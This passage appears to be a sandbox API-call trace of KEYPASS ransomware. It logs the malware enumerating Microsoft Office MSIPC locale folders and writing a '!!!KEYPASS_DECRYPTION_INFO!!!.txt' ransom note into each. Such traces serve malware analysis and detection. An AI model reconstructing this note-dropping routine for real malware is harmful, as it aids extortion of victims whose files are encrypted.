lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.264] CloseHandle (hObject=0xb14) returned 1 [0259.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876a00 [0259.264] FindNextFileW (in: hFindFile=0x3876a00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.264] FindNextFileW (in: hFindFile=0x3876a00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.264] FindNextFileW (in: hFindFile=0x3876a00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\msipc.dll.mui") returned=".mui" [0259.264] FindNextFileW (in: hFindFile=0x3876a00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.264] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.264] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.264] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.264] GetLastError () returned 0x3f0 [0259.264] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.264] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb00 [0259.265] GetFileType (hFile=0xb00) returned 0x1 [0259.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.266] WriteFile (in: hFile=0xb00, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.266] WriteFile (in: hFile=0xb00, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.266] CloseHandle (hObject=0xb00) returned 1 [0259.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876a40 [0259.267] FindNextFileW (in: hFindFile=0x3876a40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.267] FindNextFileW (in: hFindFile=0x3876a40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.267] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.267] FindNextFileW (in: hFindFile=0x3876a40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.267] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\msipc.dll.mui") returned=".mui" [0259.267] FindNextFileW (in: hFindFile=0x3876a40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.267] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.267] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.267] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.267] GetLastError () returned 0x3f0 [0259.267] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.267] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb18 [0259.268] GetFileType (hFile=0xb18) returned 0x1 [0259.268] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.268] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.269] WriteFile (in: hFile=0xb18, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.269] WriteFile (in: hFile=0xb18, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.269] CloseHandle (hObject=0xb18) returned 1 [0259.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876b80 [0259.270] FindNextFileW (in: hFindFile=0x3876b80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.270] FindNextFileW (in: hFindFile=0x3876b80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.270] FindNextFileW (in: hFindFile=0x3876b80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\msipc.dll.mui") returned=".mui" [0259.270] FindNextFileW (in: hFindFile=0x3876b80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.270] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.270] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.270] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.270] GetLastError () returned 0x3f0 [0259.270] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.270] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb1c [0259.271] GetFileType (hFile=0xb1c) returned 0x1 [0259.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.271] WriteFile (in: hFile=0xb1c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.272] WriteFile (in: hFile=0xb1c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.272] CloseHandle (hObject=0xb1c) returned 1 [0259.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876bc0 [0259.272] FindNextFileW (in: hFindFile=0x3876bc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.272] FindNextFileW (in: hFindFile=0x3876bc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.272] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.272] FindNextFileW (in: hFindFile=0x3876bc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.272] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\msipc.dll.mui") returned=".mui" [0259.272] FindNextFileW (in: hFindFile=0x3876bc0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.272] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.272] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.272] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.272] GetLastError () returned 0x3f0 [0259.272] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.273] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb20 [0259.274] GetFileType (hFile=0xb20) returned 0x1 [0259.274] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.274] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.274] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.274] WriteFile (in: hFile=0xb20, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.275] WriteFile (in: hFile=0xb20, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.275] CloseHandle (hObject=0xb20) returned 1 [0259.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876c00 [0259.275] FindNextFileW (in: hFindFile=0x3876c00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.275] FindNextFileW (in: hFindFile=0x3876c00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.275] FindNextFileW (in: hFindFile=0x3876c00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\msipc.dll.mui") returned=".mui" [0259.275] FindNextFileW (in: hFindFile=0x3876c00, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.275] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.275] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.275] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.275] GetLastError () returned 0x3f0 [0259.275] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.275] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sr-cyrl-ba\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb28 [0259.321] GetFileType (hFile=0xb28) returned 0x1 [0259.321] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.321] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.321] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.322] WriteFile (in: hFile=0xb28, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.322] WriteFile (in: hFile=0xb28, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.322] CloseHandle (hObject=0xb28) returned 1 [0259.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876c40 [0259.323] FindNextFileW (in: hFindFile=0x3876c40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.323] FindNextFileW (in: hFindFile=0x3876c40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.323] FindNextFileW (in: hFindFile=0x3876c40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.324] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\msipc.dll.mui") returned=".mui" [0259.324] FindNextFileW (in: hFindFile=0x3876c40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.324] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.324] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.324] GetLastError () returned 0x3f0 [0259.324] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.324] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sr-cyrl-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb24 [0259.326] GetFileType (hFile=0xb24) returned 0x1 [0259.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.326] WriteFile (in: hFile=0xb24, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.327] WriteFile (in: hFile=0xb24, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.327] CloseHandle (hObject=0xb24) returned 1 [0259.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bb48 [0259.327] FindNextFileW (in: hFindFile=0x4e2bb48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.328] FindNextFileW (in: hFindFile=0x4e2bb48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.328] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.328] FindNextFileW (in: hFindFile=0x4e2bb48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.328] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.328] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.328] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.328] GetLastError () returned 0x3f0 [0259.328] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.328] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sr-cyrl-rs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb2c [0259.452] GetFileType (hFile=0xb2c) returned 0x1 [0259.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.452] WriteFile (in: hFile=0xb2c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.453] WriteFile (in: hFile=0xb2c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.453] CloseHandle (hObject=0xb2c) returned 1 [0259.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bcc8 [0259.453] FindNextFileW (in: hFindFile=0x4e2bcc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.454] FindNextFileW (in: hFindFile=0x4e2bcc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.454] FindNextFileW (in: hFindFile=0x4e2bcc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\msipc.dll.mui") returned=".mui" [0259.454] FindNextFileW (in: hFindFile=0x4e2bcc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.454] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.454] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.454] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.454] GetLastError () returned 0x3f0 [0259.454] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.454] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 